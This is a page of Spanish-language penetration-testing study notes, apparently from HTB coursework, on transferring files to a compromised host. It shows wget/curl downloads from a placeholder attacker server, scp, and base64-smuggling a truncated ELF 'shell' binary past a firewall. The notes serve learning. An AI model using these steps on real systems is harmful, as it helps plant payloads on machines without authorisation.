Apuntes Ciberseguridad (Cibaism)
HTBGitHubLinkedInNotion (Writeups)
  • Welcome to My Digital Garden
  • About me
  • Hacking notes (Personal)
    • Tratamiento TTY
    • Hacking Web Tecniques
      • File Inclusion
    • Linux Privilage Escalation
    • Arreglar bloodhound
  • Hacking Notes (Learning Path)
    • (HTB) Penetration Tester
      • Getting Started
        • Common Terms
          • Tipos de Shell
          • Puertos importantes
          • OWASP Top 10
        • Service Scanning
          • Nmap
          • Attacking Network Services
            • Captura de banners
            • FTP
            • SMB
            • SNMP
        • Web Enumeration
        • Public exploits
          • Encontrar exploits públicos
          • Introducción a Metasploit
        • Types of Shells
          • Reverse Shell
          • Bind Shell
          • Web Shell
        • Privilage escalation
        • Transferring Files
      • Footprinting
        • Infrastructura Based Enumeration
          • Domain Information
          • Cloud Resources
          • Staff
        • Host Based Enumeration
          • FTP
          • SMB
          • NFS
          • DNS
          • SMTP
          • IMAP / POP3
          • SNMP
          • MySQL
          • MSSQL
          • Oracle TNS
          • IPMI
          • Protocolos de administración remota de Linux
          • Protocolos de administración remota de Windows
      • Introduction to Active Directory Enumeration & Attacks
        • Tools of the Trade
        • Initial enumeration
          • External Recon and Enumeration Principles
          • Initial Enumeration of the Domain
        • Sniffing out a Foothold
          • LLMNR/NBT-NS Poisoning - from Linux
          • LLMNR/NBT-NS Poisoning - from Windows
        • Sighting In, Hunting For A User
          • Password Spraying Overview
          • Enumerating & Retrieving Password Policies
          • Password Spraying - Making a Target User List
        • Spray Responsibly
          • Internal Password Spraying - from Linux
      • File Inclusion
        • File Disclousure
          • Local File Inclusion (LFI)
          • Basic Bypasses
          • PHP Filters
        • Remote Code Execution
          • PHP Wrappers
    • (CRTA) Red Team Analyst
      • (CRTA) Red Team Analyst - Lab
    • (eJPT) Junior Penetration Tester
      • Assessment Methodologies
        • Assessment Methodologies: Footprinting & Scanning
          • Windows Recon: Nmap Host Discovery
          • Scan the Server 1
          • Windows Recon: SMB Nmap Scripts
        • Assessment Methodologies: Enumeration
          • Importing Nmap Scan Results Into MSF
          • T1046 : Network Service Scanning
          • FTP Enumeration
          • Samba Recon: Basics
          • Apache Enumeration
          • MySQL Enumeration
          • SSH Login
          • Postfix Recon: Basics
        • Assessment Methodologies: Vulnerability Assessment
          • Windows: IIS Server DAVTest
          • Shellshock
          • Web App Vulnerability Scanning With WMAP
      • Host & Network Penetration Testing
        • Host & Network Penetration Testing: System/Host Based Attacks
          • Windows
            • Windows: IIS Server: WebDav Metasploit
            • Windows: SMB Server PSexec
            • Windows: Insecure RDP Service
            • WinRM: Exploitation with Metasploit
            • UAC Bypass: UACMe
            • Privilege Escalation: Impersonate
            • Unattended Installation
            • Windows: Meterpreter: Kiwi Extension
          • Linux
            • ProFTP Recon: Basics
            • Samba Recon: Dictionary Attack
            • Cron Jobs Gone Wild II
            • Exploiting Setuid Programs
            • Password Cracker: Linux
        • Host & Network Penetration Testing: Network-Based Attacks
          • NetBIOS Hacking
          • SNMP Analysis
          • DNS & SMB Relay Attack
        • Host & Network Penetration Testing: The Metasploit Framework (MSF)
          • Windows: Java Web Server
          • Windows: HTTP File Server
          • Vulnerable FTP Server
          • Vulnerable File Sharing Service
          • Vulnerable SSH server
          • Vulnerable SMTP Server
          • Meterpreter Basics
          • Upgrading Command Shells To Meterpreter Shells
          • Windows Post Exploitation Modules
          • UAC Bypass: Memory Injection (Metasploit)
          • Exploiting SMB With PsExec
          • Windows: Enabling Remote Desktop
          • Clearing Windows Event Logs
          • Pivoting
  • Blue team notes
    • Digital Forensics
      • Malware Analysis with VirusTotal
      • Wireshark
    • (Falcon) CrowdStrike
      • FALCON 104: Getting Started with the Endpoint Security Module
      • FALCON 106: Customizing Dashboards in Falcon
      • FALCON 180: Falcon Forensics Fundamentals
  • Programming
    • Powershell
Powered by GitBook
On this page
  • Wget:
  • SCP:
  • Base64:
  • Validación de transferencia de archivos:
  1. Hacking Notes (Learning Path)
  2. (HTB) Penetration Tester
  3. Getting Started

Transferring Files

PreviousPrivilage escalationNextFootprinting

Last updated 2 months ago

Durante cualquier prueba de penetración, es probable que necesitemos transferir archivos al servidor remoto, como scripts de enumeración o exploits, o transferir datos de vuelta a nuestro host de ataque. Si bien herramientas como Metasploit con un shell Meterpreter nos permiten usar el Uploadcomando para subir un archivo, necesitamos aprender métodos para transferir archivos con un shell inverso estándar.

Wget:

Hay muchos métodos para lograr esto. Un método consiste en ejecutar un en nuestra máquina y luego usar wgeto cURLpara descargar el archivo en el host remoto. Primero, accedemos al directorio que contiene el archivo que necesitamos transferir y ejecutamos un servidor HTTP de Python.

python3 -m http.server 80

Ahora que hemos configurado un servidor de escucha en nuestra máquina, podemos descargar el archivo en el host remoto en el que tenemos ejecución de código.

wget http://<host>:<port>/<archivo>
curl http://<host>:<port>/<archivo> -o <archivo de salida>

SCP:

Otro método para transferir archivos sería usar scp, siempre que tengamos las credenciales de usuario SSH en el host remoto.

scp <ruta archivo> <user>@<host>:<ruta para guardar>

Base64:

En algunos casos, es posible que no podamos transferir el archivo. Por ejemplo, el host remoto podría tener protecciones de firewall que nos impidan descargar un archivo de nuestro equipo. En este tipo de situación, podemos usar un truco sencillo para codificar el archivo en base64 y luego pegar la base64cadena en el servidor remoto y decodificarla. Por ejemplo, si quisiéramos transferir un archivo binario llamado shell, podríamos codificarlo en base64de la siguiente manera

base64 shell -w 0

Ahora, podemos copiar la cadena en base64, ir al host remoto y usarla base64 -dpara decodificarla y canalizar la salida a un archivo.

echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell

Validación de transferencia de archivos:

file shell

Como podemos ver, al ejecutar el filecomando en el shellarchivo, indica que es un binario ELF, lo que significa que lo transferimos correctamente. Para asegurarnos de no haber dañado el archivo durante el proceso de codificación/decodificación, podemos comprobar su hash MD5. En nuestra máquina, podemos ejecutar md5sum.

md5sum shell

Ahora, podemos ir al servidor remoto y ejecutar el mismo comando en el archivo que transferimos.

md5sum shell

Para validar el formato de un archivo, podemos ejecutar el comando en él.

servidor HTTP de Python
de archivo